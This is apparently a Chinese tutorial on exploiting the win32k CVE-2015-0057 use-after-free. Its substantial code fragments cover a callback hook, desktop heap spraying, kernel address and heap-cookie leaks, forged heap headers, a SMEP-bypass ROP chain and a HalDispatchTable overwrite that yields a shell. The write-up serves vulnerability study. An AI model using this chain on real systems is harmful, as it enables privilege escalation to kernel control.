__int64 __fastcall xxxEnableWndSBArrows(struct tagWND *a1, int a2, int a3){ int *v3; unsigned int v4; int v5; int v6; struct tagWND *v7; int v8; HDC v9; struct tagWND *v11; struct tagWND *v12;
v3 = (int *)*((_QWORD *)a1 + 22); v4 = 0; v5 = a3; v6 = a2; v7 = a1; [...]}這裡有幾個方法,第一,看別人的分析文章,得到結構體數據分析函數流程。第二,在網上下一個Windows NT或者ReactOS源碼(當然也有在線網站,對照代碼分析函數流程。第三,自己從頭開始逆win32k.sys(僅限大佬。第四,在Windows 7 x64下用windbg中的dt命令查看結構體,自己分析得到Windows 8.1的結構體。這裡我直接放有一些注釋的反編譯結果_BOOL8 __fastcall xxxEnableWndSBArrows(struct tagWND *pwnd, UINT wSBflags, UINT wArrow){ int *psbInfo; BOOL return_flag; UINT wArrows_; UINT wSBflags_; struct tagWND *pwnd_; int v8; HDC v9; struct tagWND *v11; struct tagWND *v12;
psbInfo = (int *)*((_QWORD *)pwnd + 22); return_flag = 0; wArrows_ = wArrow; wSBflags_ = wSBflags; pwnd_ = pwnd; if ( psbInfo ) { v8 = *psbInfo; } else { if ( !wArrow ) return 0i64; v8 = 0; psbInfo = (int *)InitPwSB(); if ( !psbInfo ) return 0i64; } v9 = (HDC)GetDCEx(pwnd_, 0i64, 65537i64); if ( !v9 ) return 0i64; if ( !wSBflags_ || wSBflags_ == 3 ) { if ( wArrows_ ) *psbInfo |= wArrows_; else *psbInfo &= 0xFFFFFFFC; if ( *psbInfo != v8 ) { return_flag = 1; v8 = *psbInfo; if ( *((_BYTE *)pwnd_ + 40) & 4 ) { if ( !(*((_BYTE *)pwnd_ + 55) & 0x20) && (unsigned int)IsVisible(pwnd_) ) xxxDrawScrollBar(v12, v9, 0); } } if ( ((unsigned __int8)v8 ^ *(_BYTE *)psbInfo) & 1 ) xxxWindowEvent(32778); if ( ((unsigned __int8)v8 ^ *(_BYTE *)psbInfo) & 2 ) xxxWindowEvent(32778); } if ( !((wSBflags_ - 1) & 0xFFFFFFFD) ) { *psbInfo = wArrows_ ? (4 * wArrows_) | *psbInfo : *psbInfo & 0xFFFFFFF3; if ( *psbInfo != v8 ) { return_flag = 1; if ( *((_BYTE *)pwnd_ + 40) & 2 && !(*((_BYTE *)pwnd_ + 55) & 0x20) && (unsigned int)IsVisible(pwnd_) ) xxxDrawScrollBar(v11, v9, 1); if ( ((unsigned __int8)v8 ^ *(_BYTE *)psbInfo) & 4 ) xxxWindowEvent(32778); if ( ((unsigned __int8)v8 ^ *(_BYTE *)psbInfo) & 8 ) xxxWindowEvent(32778); } } ReleaseDC(v9); return return_flag;}Poc的構造漏洞利用,肯定第一步得到漏洞點嘛,我們先到漏洞點,然後再看漏洞觸發能夠給我們帶來什麼東西,再進一步思考利用方法,首先需要我們熟悉幾個api函數,首先我們通過IDA的交叉引用可以找到xxxEnableWndSBArrows函數的原型NtUserEnableScrollBar然後我們可以找到用戶層對應的函數EnableScrollBarBOOL EnableScrollBar( HWND hWnd, UINT wSBflags, UINT wArrows);函數的作用就是設置滾動箭頭啥的,我們這裡只需要關注怎麼通過代碼才能到達漏洞點?既然是滾動條設定,那我們第一步肯定得創建一個窗口吧,所以第一步肯定是創建一個窗口,這一步相信大家都是很清楚的,創建窗口類,註冊窗口,創建窗口一氣呵成,這不是很簡單麼?所以我們火速寫了下面幾個片斷WNDCLASSEXA wc;
wc.cbSize = sizeof(WNDCLASSEX);wc.style = 0;wc.lpfnWndProc = DefWindowProcA;wc.cbClsExtra = 0;wc.cbWndExtra = 0;wc.hInstance = GetModuleHandleA(NULL);wc.hIcon = LoadIcon(NULL, IDI_APPLICATION);wc.hCursor = LoadCursor(NULL, IDC_ARROW);wc.hbrBackground = (HBRUSH)(COLOR_WINDOW + 1);wc.lpszMenuName = NULL;wc.lpszClassName = szClassName;wc.hIconSm = LoadIcon(NULL, IDI_APPLICATION);
RegisterClassExA(&wc)當你寫到 CreateWindowExA 函數時,發現那麼多參數,肯定不能隨便設置就到漏洞點吧,回顧上面IDA的分析,我們需要讓wSBflags設置為0和3,並且wArrows不能為0,所以這裡我們在 EnableScrollBar 函數中的實現就是對第二個參數進行設置,我們構造如下的片斷EnableScrollBar( hWnd, SB_CTL | SB_BOTH, ESB_DISABLE_BOTH );既然 EnableScrollBar 函數設置如上,那麼就意味著我們創建的窗口必須滿足擁有滾動條控制項,為了同時能操作水平和垂直滾動條,必須以某種方式創建具有這兩個元素的滾動條控制項,所以我們進行如下的構造hWnd = CreateWindowExA( 0, szClassName, 0, SBS_HORZ | WS_HSCROLL | WS_VSCROLL, 10, 10, 100, 100, NULL, NULL, NULL, NULL);期間我們再加上ShowWindow和UpdateWindow兩個函數確保我們的窗口可見ShowWindow(hwnd, SW_SHOW);UpdateWindow(hwnd);
那麼我們初步構造出能夠抵達漏洞點的初步Poc,動態過程如下接下來我們就需要考慮如何利用這個回調函數了,首先我們了解一下這個回調函數,這裡我直接放一張圖片,很清楚的說明了調用關係,圖片來自Udi師傅的文章上面的調用關係你可以手動通過IDA一步一步的點,這裡我們關注幾個關鍵點,我們最後從ring0到ring3的接口是通過 KeUserModeCallback 函數到達的,倒數第二個函數是 ClientLoadLibrary ,下面介紹一下這兩個函數的關係。通常,每個進程有一個由 PEB->KernelCallBackTable 指向的用戶模式回調函數指針表。當內核想調用用戶模式函數時,它就把函數索引號傳遞給 KeUserModeCallBack()。在上面的例子中,索引號指向用戶態的 _ClientLoadLibrary 函數,那麼下面我們在PEB中找找這個結構,可以找到,偏移為0x2381: kd> dt !_PEB @$peb -r KernelCallbackTablentdll!_PEB +0x058 KernelCallbackTable : 0x00007ffb`dc110a80 Void1: kd> dqs 0x00007ffb`dc110a8000007ffb`dc110a80 00007ffb`dc0f3ef0 USER32!_fnCOPYDATA00007ffb`dc110a88 00007ffb`dc14adb0 USER32!_fnCOPYGLOBALDATA00007ffb`dc110a90 00007ffb`dc0e3b90 USER32!_fnDWORD00007ffb`dc110a98 00007ffb`dc0e59b0 USER32!_fnNCDESTROY00007ffb`dc110aa0 00007ffb`dc0f5640 USER32!_fnDWORDOPTINLPMSG00007ffb`dc110aa8 00007ffb`dc14b2b0 USER32!_fnINOUTDRAG00007ffb`dc110ab0 00007ffb`dc0f3970 USER32!_fnGETTEXTLENGTHS00007ffb`dc110ab8 00007ffb`dc11f1c0 USER32!__fnINCNTOUTSTRING00007ffb`dc110ac0 00007ffb`dc14b5b0 USER32!_fnINCNTOUTSTRINGNULL00007ffb`dc110ac8 00007ffb`dc14b1a0 USER32!_fnINLPCOMPAREITEMSTRUCT00007ffb`dc110ad0 00007ffb`dc0e65a0 USER32!__fnINLPCREATESTRUCT00007ffb`dc110ad8 00007ffb`dc11eb10 USER32!_fnINLPDELETEITEMSTRUCT00007ffb`dc110ae0 00007ffb`dc115820 USER32!__fnINLPDRAWITEMSTRUCT00007ffb`dc110ae8 00007ffb`dc0f9610 USER32!_fnINLPHELPINFOSTRUCT00007ffb`dc110af0 00007ffb`dc0f9610 USER32!_fnINLPHELPINFOSTRUCT00007ffb`dc110af8 00007ffb`dc11d7e0 USER32!__fnINLPMDICREATESTRUCT[...]00007ffb`dc110cb8 00007ffb`dc0e8530 USER32!_ClientLoadLibrary1: kd> ? (00007ffb`dc110cb8-00007ffb`dc110a80)Evaluate expression: 568 = 00000000`00000238我們既然找到了它的位置,並且知道它和PEB有關,那我們就可以在ring3通過寄存器的方式訪問到 _ClientLoadLibrary 的位置並且hook掉它,因為在前面的代碼中我們只是單純的創建和顯示了一個帶有一些屬性的窗口,這裡hook自然也就想到了將它釋放到,如果我們將其釋放掉,後面函數流程中又對其一些結構進行訪問,那肯定是回出問題的,所以我們一步一步來,先獲取hook的地址ULONG_PTR Get_ClientLoadLibrary(){ return (ULONG_PTR)*(ULONG_PTR*)(__readgsqword(0x60) + 0x58) + 0x238; }BOOL Hook__ClientLoadLibrary(){ DWORD dwOldProtect;
_ClientLoadLibrary_addr = Get_ClientLoadLibrary(); _ClientLoadLibrary = (fct_clLoadLib) * (ULONG_PTR*)_ClientLoadLibrary_addr; Hook__ClientLoadLibrary();
if (!VirtualProtect((LPVOID)_ClientLoadLibrary_addr, 0x1000, PAGE_READWRITE, &dwOldProtect)) return FALSE;
*(ULONG_PTR*)_ClientLoadLibrary_addr = (ULONG_PTR)Fake_ClientLoadLibrary;
if (!VirtualProtect((LPVOID)_ClientLoadLibrary_addr, 0x1000, dwOldProtect, &dwOldProtect)) return FALSE;
return TRUE;}VOID Fake_ClientLoadLibrary(){ if (hookflag) { if (++hookcount == 2) { hookflag = 0; DestroyWindow(hWnd); } }}這樣我們就構造了一個可以觸發藍屏的Poc,其中還需要注意的是,這裡的hookflag和hookcount的目的只有一個,就是為了讓DestroyWindow只執行一次。我們現在只能構造一個藍屏的Poc,我們要利用這個漏洞,還得知道這個藍屏能帶來什麼桌面堆想要了解這個漏洞的其他細節,我們得繼續分析回調函數後面的代碼,我們祭出IDA,繼續分析回調函數後面的流程,我們發現這裡其實存在一次對結構體的寫入可能下面的那句話有點繞,這裡我解釋一下這句話啥意思,我們來看一下下面代碼的例子你就懂了,其實就是判斷?前面的值是否為真,若為真則返回:左邊的值,假就返回右邊的值
所以我們這裡的漏洞代碼就可能修改到 * psbInfo的值,也就是說我們達到一定條件可以改寫結構體的內容,因為是修改tagWND中的結構,其關聯的一些知識點就會涉及一些桌面堆的知識,所以我先給一些桌面堆的paper供大家參考,當然你不參考也可以繼續往下看,我會儘量解釋清楚
Tarjei Mandt 師傅的論文:https://media.blackhat.com/bh-us-11/Mandt/BH_US_11_Mandt_win32k_WP.pdf小刀師傅對菜單管理的博客(主要看堆中菜單的管理和洩露地址部分): https://xiaodaozhi.com/exploit/71.htmlWindows 8 堆管理(主要看堆頭部分就行):http://illmatics.com/Windows%208%20Heap%20Internals.pdfntdebug 師傅分析桌面堆結構:https://blogs.msdn.microsoft.com/ntdebugging/2007/01/04/desktop-heap-overview/leviathansecurity 對堆頭的介紹:https://www.leviathansecurity.com/blog/understanding-the-windows-allocator-a-redux/簡言之 win32k.sys 就是通過桌面堆來存儲與給定桌面相關的 GUI 對象,包括窗口對象及其相關結構,如屬性列表(tagPROPLIST)、窗口文本(_LARGE_UNICODE_STRING)、菜單(tagMENU)等,首先我們看幾個涉及到的結構體,結構都取自Windows 7 x64,第一個就是當我們調用CreateWindow函數創建窗口的時候,會生成一個tagWND結構,大小是0x128,這個結構很大,我們只需要關注幾個關鍵成員,也就是下圖標註了顏色的幾個結構大小 0x24,加上堆頭 0x2c ,這也是我們 UAF 的對象2: kd> dt -v win32k!tagSBINFO -rstruct tagSBINFO, 3 elements, 0x24 bytes +0x000 WSBflags : Int4B +0x004 Horz : struct tagSBDATA, 4 elements, 0x10 bytes // 水平 +0x000 posMin : Int4B +0x004 posMax : Int4B +0x008 page : Int4B +0x00c pos : Int4B +0x014 Vert : struct tagSBDATA, 4 elements, 0x10 bytes // 垂直 +0x000 posMin : Int4B +0x004 posMax : Int4B +0x008 page : Int4B +0x00c pos : Int4B大小 0x18,加上堆頭0x20,由SetPropA函數創建2: kd> dt -v win32k!tagPROPLIST -rstruct tagPROPLIST, 3 elements, 0x18 bytes +0x000 cEntries : Uint4B +0x004 iFirstFree : Uint4B +0x008 aprop : [1] struct tagPROP, 3 elements, 0x10 bytes // 一個單項的tagProp +0x000 hData : Ptr64 to Void +0x008 atomKey : Uint2B +0x00a fs : Uint2B 下面介紹一下 SetPropA 這個函數,這個函數用來設置tagPROPLIST結構,若該屬性已經設置過,則直接修改其數據,若未設置過,則在數組中添加一個條目;若添加條目時發現,cEntries和iFirstFree相等,則表示props數組已滿,此時會重新分配堆空間,並將原來的數據複製進去。如果我們利用UAF增大了cEntries的值,在數組已滿的情況下,再次調用 SetPropA 函數,就會導致緩衝區溢出,後面我們就是利用這裡造成進一步的利用BOOL SetPropA( HWND hWnd, LPCSTR lpString, HANDLE hData);大小 0x10,加上堆頭 0x18,由RtlInitLargeUnicodeString函數可以初始化Buffer, NtUserDefSetText可以設置 tagWND 的 strName 欄位,此函數可以做到桌面堆大小的任意分配2: kd> dt -v win32k!_LARGE_UNICODE_STRING -rstruct _LARGE_UNICODE_STRING, 4 elements, 0x10 bytes +0x000 Length : Uint4B +0x004 MaximumLength : Bitfield Pos 0, 31 Bits +0x004 bAnsi : Bitfield Pos 31, 1 Bit +0x008 Buffer : Ptr64 to Uint2B大小 0x98,加上堆頭 0xa0,由CreateMenu()創建,可用來填補一些內存,並且後面還可以用來任意地址讀寫2: kd> dt -v win32k!tagMENUstruct tagMENU, 19 elements, 0x98 bytes +0x000 head : struct _PROCDESKHEAD, 5 elements, 0x28 bytes +0x028 fFlags : Uint4B +0x02c iItem : Int4B +0x030 cAlloced : Uint4B +0x034 cItems : Uint4B +0x038 cxMenu : Uint4B +0x03c cyMenu : Uint4B +0x040 cxTextAlign : Uint4B +0x048 spwndNotify : Ptr64 to struct tagWND, 170 elements, 0x128 bytes +0x050 rgItems : Ptr64 to struct tagITEM, 20 elements, 0x90 bytes +0x058 pParentMenus : Ptr64 to struct tagMENULIST, 2 elements, 0x10 bytes +0x060 dwContextHelpId : Uint4B +0x064 cyMax : Uint4B +0x068 dwMenuData : Uint8B +0x070 hbrBack : Ptr64 to struct HBRUSH__, 1 elements, 0x4 bytes +0x078 iTop : Int4B +0x07c iMaxTop : Int4B +0x080 dwArrowsOn : Bitfield Pos 0, 2 Bits +0x084 umpm : struct tagUAHMENUPOPUPMETRICS, 2 elements, 0x14 bytes初始化階段因為我們Poc裡面是銷毀的tagWND窗口,為了查看uaf之後改變了什麼,我們這裡初始化很多的tagWND,並且設置tagPROPLIST,64位的 tagSBINFO 大小是 0x28 ,而一個 tagPROPLIST 大小為0x18,當再增加一個 tagPROP 的時候,其大小剛好為 (0x18 + 0x10) == 0x28,也就是說我們剛好可以佔用釋放的那塊 tagSBINFO ,那也就可以監視 UAF 前後內存的變化,下面是窗口堆初始化函數實現BOOL InitWindow(HWND* hwndArray,int count){ WNDCLASSEXA wn;
wn.cbSize = sizeof(WNDCLASSEX); wn.style = 0; wn.lpfnWndProc = WndProc; wn.cbClsExtra = 0; wn.cbWndExtra = 0; wn.hInstance = GetModuleHandleA(NULL); wn.hIcon = LoadIcon(NULL, IDI_APPLICATION); wn.hCursor = LoadCursor(NULL, IDC_ARROW); wn.hbrBackground = (HBRUSH)(COLOR_WINDOW + 1); wn.lpszMenuName = NULL; wn.lpszClassName = sz_ClassName; wn.hIconSm = LoadIcon(NULL, IDI_APPLICATION);
if (regflag) { if (!RegisterClassExA(&wn)) { cout << "[*] Failed to register window.nError code is " << GetLastError() << endl; system("pause"); return FALSE; } regflag = FALSE; }
for (int i = 0; i < count; i++) {
hwndArray[i] = CreateWindowExA( 0, sz_ClassName, 0, WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, (HWND)NULL, (HMENU)NULL, NULL, (PVOID)NULL );
if (hwndArray[i] == NULL) return FALSE;
SetPropA(hwndArray[i], (LPCSTR)(1), (HANDLE)0xAAAABBBBAAAABBBB); }
return TRUE;}初始化設置完成之後理想的桌面堆應該如下圖,兩個一組,依次循環接下來就是我們的監視桌面堆的階段了,我們來查看一下 UAF 之後改變了什麼,不過這裡就會有個問題,我們應該如何監視我們的桌面堆呢?下面是我最常用的代碼片斷,參考自sam-b師傅的GitHub項目__debugbreak();PTHRDESKHEAD tagWND = (PTHRDESKHEAD)pHmValidateHandle(hwnd, 1);__debugbreak();UINT64 addr = (UINT64)tagWND->pSelf; printf("[+] spray_step_one[0] address is : 0x%pn", addr);實現函數如下, 我們在 user32 中尋找 HMValidateHandle 函數, 該函數在 IsMenu 函數中有被調用,所以可以通過硬編碼比較的方式獲取 HMValidateHandle 的地址,然而這個函數有一個 pSelf 指針,可以洩露內核地址extern "C" lHMValidateHandle pHmValidateHandle = NULL;
BOOL FindHMValidateHandle() { HMODULE hUser32 = LoadLibraryA("user32.dll"); if (hUser32 == NULL) { printf("[*] Failed to load user32n"); return FALSE; }
BYTE* pIsMenu = (BYTE*)GetProcAddress(hUser32, "IsMenu"); if (pIsMenu == NULL) { printf("[*] Failed to find location of exported function 'IsMenu' within user32.dlln"); return FALSE; } unsigned int uiHMValidateHandleOffset = 0; for (unsigned int i = 0; i < 0x1000; i++) { BYTE* test = pIsMenu + i; if (*test == 0xE8) { uiHMValidateHandleOffset = i + 1; break; } } if (uiHMValidateHandleOffset == 0) { printf("[*] Failed to find offset of HMValidateHandle from location of 'IsMenu'n"); return FALSE; }
unsigned int addr = *(unsigned int*)(pIsMenu + uiHMValidateHandleOffset); unsigned int offset = ((unsigned int)pIsMenu - (unsigned int)hUser32) + addr; pHmValidateHandle = (lHMValidateHandle)((ULONG_PTR)hUser32 + offset + 11); return TRUE;}因此我們第一步的檢驗動態圖如下所示,我們洩露的是tagWND的地址,加上 a8 的偏移即是我們的 tagPROPLIST ,這裡我們可以看到,在寫入之後我們有個 0x2 的值變為了 0xe ,這個東西是什麼呢?對比一下 tagPROPLIST 的結構體你會發現剛好是 cEntries 的值,也就是說我們可以造成一次溢出事情並不是那麼順利我們把 cEntries 的值變大了,再次調用 SetPropA 就會溢出,然而我們新增加的 tagPROP 並不是完全可控的,我們再來看看這個結構,hData 和 atomKey 完全可控的也就 8 字節,fs 和內存對齊後面的就完全無法控制,也就是說我們需要利用好這 8 字節的溢出1: kd> dt -v win32k!tagPROPstruct tagPROP, 3 elements, 0x10 bytes +0x000 hData : Ptr64 to Void +0x008 atomKey : Uint2B +0x00a fs : Uint2B 前面介紹過_LARGE_UNICODE_STRING 結構,我們知道它的Buffer結構是一個指針,我們想通過它來實現任意內存訪問,所以這裡我們想的是在 tagPROP 後面接上一個 _LARGE_UNICODE_STRING 結構,修改Buffer欄位,然而你會發現,其實我們並不能完全控制到 Buffer 那裡2: kd> dt -v win32k!_LARGE_UNICODE_STRING -rstruct _LARGE_UNICODE_STRING, 4 elements, 0x10 bytes +0x000 Length : Uint4B +0x004 MaximumLength : Bitfield Pos 0, 31 Bits +0x004 bAnsi : Bitfield Pos 31, 1 Bit +0x008 Buffer : Ptr64 to Uint2B 不能覆蓋到哪裡,我們就得想其他的辦法,如果你看過前面的一些堆頭的paper,那你可能會想到,我們這裡最終選擇的是_HEAP_ENTR這個結構,其大小是 0x10,這裡主要關注注釋的內容,學過PWN堆部分的小夥伴有沒有很眼熟,什麼prev_size,size,fd,bk啥的對比過來不就很眼熟了麼,只不過這裡有一個SmallTagIndex的校驗碼,這是Windows的一個安全機制,為了防止堆頭被修改,你可以類比PWN保護機制中的Canary1: kd> dt -v !_HEAP_ENTRYnt!_HEAP_ENTRYstruct _HEAP_ENTRY, 22 elements, 0x10 bytes +0x000 PreviousBlockPrivateData : Ptr64 to Void +0x008 Size : Uint2B +0x00a Flags : UChar +0x00b SmallTagIndex : UChar +0x00c PreviousSize : Uint2B +0x00e SegmentOffset : UChar +0x00e LFHFlags : UChar +0x00f UnusedBytes : UChar +0x008 CompactHeader : Uint8B +0x000 Reserved : Ptr64 to Void +0x008 FunctionIndex : Uint2B +0x00a ContextValue : Uint2B +0x008 InterceptorValue : Uint4B +0x00c UnusedBytesLength : Uint2B +0x00e EntryOffset : UChar +0x00f ExtendedBlockSignature : UChar +0x000 ReservedForAlignment : Ptr64 to Void +0x008 Code1 : Uint4B +0x00c Code2 : Uint2B +0x00e Code3 : UChar +0x00f Code4 : UChar +0x008 AgregateCode : Uint8B我們這裡想的是覆蓋堆頭的 Size 欄位,偽造堆的大小,當然這裡我們也需要繞過保護,先不管保護怎麼繞過,如果我們在下一個堆塊後面放置一個 tagMENU 結構,然後我們將整塊給 free 掉,因為 tagMENU 句柄未變,所以我們這裡會再次產生一個 UAF 漏洞,這裡我先貼桌面堆噴射實現的代碼BOOL SprayObject(){ int j = 0; CHAR o1str[OVERLAY1_SIZE - _HEAP_BLOCK_SIZE] = { 0 }; CHAR o2str[OVERLAY2_SIZE - _HEAP_BLOCK_SIZE] = { 0 }; LARGE_UNICODE_STRING o1lstr, o2lstr;
memset(o1str, 'x43', OVERLAY2_SIZE - _HEAP_BLOCK_SIZE); RtlInitLargeUnicodeString(&o1lstr, (WCHAR*)o1str, (UINT)-1, OVERLAY1_SIZE - _HEAP_BLOCK_SIZE - 2);
memset(o2str, 'x41', OVERLAY2_SIZE - _HEAP_BLOCK_SIZE); RtlInitLargeUnicodeString(&o2lstr, (WCHAR*)o2str, (UINT)-1, OVERLAY2_SIZE - _HEAP_BLOCK_SIZE - 2);
SHORT unused_win_index = 0x20;
for (SHORT i = 0; i < SHORT(MAX_OBJECTS - 0x20); i++) { SetPropA(spray_step_one[i], (LPCSTR)(i + 0x1000), (HANDLE)0xBBBBBBBBBBBBBBBB);
if ((i % 0x150) == 0) { NtUserDefSetText(spray_step_one[MAX_OBJECTS - (unused_win_index--)], &o1lstr); }
hmenutab[i] = CreateMenu();
if (hmenutab[i] == 0) return FALSE;
if ((i % 0x150) == 0) NtUserDefSetText(spray_step_one[MAX_OBJECTS - (unused_win_index--)], &o2lstr);
}
return TRUE;}上面的代碼對_LARGE_UNICODE_STRING結構進行初始化以及設置,涉及到RtlInitLargeUnicodeString和NtUserDefSetText函數,對tagPROPLIST結構的設置,涉及到SetPropA函數,對tagMENU結構的設置,堆噴完的結果如下圖所示,四個一組,依次循環堆頭的繞過其實就是多次異或操作,當Windows每次開機的時候會產生一個 cookie ,wjllz師傅講的比較直觀,偽代碼大致如下實現heapCode[11] = heapCode[8] ^ heapCode[0] ^ heapCode[10] heapCode ^= cookie(系統每次開機的時候一個隨機值);if(heapCode[11] != heapCode[8] ^ heapCode[9] ^ heapCode[10]) BSOD我們可以在溢出前對堆頭進行記錄,然後進行手動計算檢驗是否能繞過,這裡我直接參考洩露cookie的代碼,大致流程是通過對MEMORY_BASIC_INFORMATION結構體中各種內容的比較從而實現對 cookie 的洩露,其實這部分更像是一個公式一樣,相當於可以直接拿來用,當然想要完全理解肯定需要你自己手動調試的BOOL GetDHeapCookie(){ MEMORY_BASIC_INFORMATION MemInfo = { 0 }; BYTE *Addr = (BYTE *) 0x1000; ULONG_PTR dheap = (ULONG_PTR)pSharedInfo->aheList;
while (VirtualQuery(Addr, &MemInfo, sizeof(MemInfo))) { if (MemInfo.Protect = PAGE_READONLY && MemInfo.Type == MEM_MAPPED && MemInfo.State == MEM_COMMIT) { if ( *(UINT *)((BYTE *)MemInfo.BaseAddress + 0x10) == 0xffeeffee ) { if (*(ULONG_PTR *)((BYTE *)MemInfo.BaseAddress + 0x28) == (ULONG_PTR)((BYTE *)MemInfo.BaseAddress + deltaDHeap)) { xorKey.append( (CHAR*)((BYTE *)MemInfo.BaseAddress + 0x80), 16 ); return TRUE; } } } Addr += MemInfo.RegionSize; }
return FALSE;}通過上面的洩露我們就可以繼續完善堆噴的代碼了,現在就可以在堆噴函數中加上對堆頭的操作了memset(o2str, 'x41', OVERLAY2_SIZE - _HEAP_BLOCK_SIZE);*(DWORD *) o2str = 0x00000000;*(DWORD *)(o2str+4) = 0x00000000;*(DWORD *)(o2str+8) = 0x00010000 + OVERLAY2_SIZE;*(DWORD *)(o2str+12) = 0x10000000 + ((OVERLAY1_SIZE+MENU_SIZE+_HEAP_BLOCK_SIZE)/0x10);string clearh, newh;o2str[11] = o2str[8] ^ o2str[9] ^ o2str[10];clearh.append(o2str, 16);newh = XOR(clearh, xorKey);memcpy(o2str, newh.c_str(), 16);RtlInitLargeUnicodeString(&o2lstr, (WCHAR*) o2str, (UINT) - 1, OVERLAY2_SIZE - _HEAP_BLOCK_SIZE - 2);Bypass SMEP對於SMEP的繞過主要是對cr4寄存器的修改,這裡我的rop是用的nt!KiConfigureDynamicProcessor+0x40片斷實現對cr4寄存器的修改,代碼實現如下DWORD64 ntoskrnlbase(){ LPVOID lpImageBase[0x100]; LPDWORD lpcbNeeded = NULL; TCHAR lpfileName[1024];
EnumDeviceDrivers(lpImageBase, (DWORD64)sizeof(lpImageBase), lpcbNeeded);
for (int i = 0; i < 1024; i++) { GetDeviceDriverBaseNameA(lpImageBase[i], (LPSTR)lpfileName, 0x40);
if (!strcmp((LPSTR)lpfileName, "ntoskrnl.exe")) { return (DWORD64)lpImageBase[i]; } } return NULL;}
DWORD64 GetHalOffset(){ DWORD64 pNtkrnlpaBase = ntoskrnlbase(); printf("[+] ntkrnlpa base address is : 0x%pn", pNtkrnlpaBase); HMODULE hUserSpaceBase = LoadLibraryA("ntoskrnl.exe");
DWORD64 pUserSpaceAddress = (DWORD64)GetProcAddress(hUserSpaceBase, "HalDispatchTable");
printf("[+] pUserSpaceAddress address is : 0x%pn", pUserSpaceAddress);
DWORD64 hal = (DWORD64)pNtkrnlpaBase + ((DWORD64)pUserSpaceAddress - (DWORD64)hUserSpaceBase) ;
return (DWORD64)hal;}
BOOL SMEP_bypass_ready(){ ROPgadgets = PVOID((DWORD64)ntoskrnlbase() + 0x38a3cc); if ((DWORD64)ntoskrnlbase() == NULL) { cout << "[*] Failed to get ntoskrnlbasen[*] Error code is " << GetLastError() << endl; system("pause"); return FALSE; } HalDispatchTable = (PVOID)GetHalOffset(); if (!HalDispatchTable) return FALSE;
cout << "[+] ROPgadgets address is : " << hex << ROPgadgets << endl; cout << "[+] HalDispatchTable address is : " << hex << HalDispatchTable << endl; return TRUE;}Get Shell我們覆蓋了下一個堆頭之後,後面再次創建一個 tagMENU ,我們可以用SetMenuItemInfoA函數修改 rgItems 欄位從而實現任意寫VOID MakeNewMenu(PVOID menu_addr, CHAR* new_objects, LARGE_UNICODE_STRING* new_objs_lstr, PVOID addr){ memset(new_objects, 'xAA', OVERLAY1_SIZE - _HEAP_BLOCK_SIZE); memcpy(new_objects + OVERLAY1_SIZE - _HEAP_BLOCK_SIZE, (CHAR *)menu_addr - _HEAP_BLOCK_SIZE, MENU_SIZE + _HEAP_BLOCK_SIZE);
*(ULONG_PTR *)(BYTE *)&new_objects[OVERLAY1_SIZE + MENU_ITEMS_ARRAY_OFFSET] = (ULONG_PTR)addr;
RtlInitLargeUnicodeString(new_objs_lstr, (WCHAR*)new_objects, (UINT) -1, OVERLAY1_SIZE + MENU_SIZE - 2);}
MakeNewMenu(menu_addr, new_objects, &new_objs_lstr, (PVOID)((ULONG_PTR)HalDispatchTable + 4));在這之後我們將tagWND銷毀,這將導致之後的 tagMENU 一併釋放,然後用 NtUserDefText 新申請同樣大小的堆塊,則我們自定義的Menu就會放入進去,只是最後ShellCode執行前我們需要先繞過SMEP,這裡只需要用 rop 即可,任意寫的實現是對 tagMENU 的寫入VOID PatchDWORD(HMENU menu_handle, DWORD new_dword){ MENUITEMINFOA mii;
mii.cbSize = sizeof(mii); mii.fMask = MIIM_ID; mii.wID = new_dword; SetMenuItemInfoA(menu_handle, 0, TRUE, &mii);}
PatchDWORD(menu_handle, *(DWORD *)((BYTE *)&rop_addr + 4));RebuildMenu(new_objects, (PVOID)HalDispatchTable);PatchDWORD(menu_handle, *(DWORD *)(BYTE *)&rop_addr);最終我們getshell,完整的Poc和Exp代碼在我的GitHub這個洞需要對 UAF 有深入理解,可以說是很難利用的了,知識點特別多,不過只要你會調試,不斷的檢驗自己的每一步是否正確,能不能實現都是時間問題,最後感謝40k0師傅和wjllz師傅給我的幫助WangYu師傅的ppt:https://www.blackhat.com/docs/asia-16/materials/asia-16-Wang-A-New-CVE-2015-0057-Exploit-Technology.pdf回調函數:https://media.blackhat.com/bh-us-11/Mandt/BH_US_11_Mandt_win32k_WP.pdfwjllz師傅的文章: https://bbs.pediy.com/thread-247281.htm0xgd師傅的文章: https://www.anquanke.com/post/id/163973#h2-5Udi的分析:https://blog.ensilo.com/one-bit-to-rule-them-all-bypassing-windows-10-protections-using-a-single-bit洩露內核地址: https://github.com/sam-b/windows_kernel_address_leaks/blob/master/HMValidateHandle/HMValidateHandle/HMValidateHandle.cpp40k0師傅的分析: https://blog.csdn.net/qq_35713009/article/details/102921859小刀志師傅的博客: https://xiaodaozhi.com/author/1/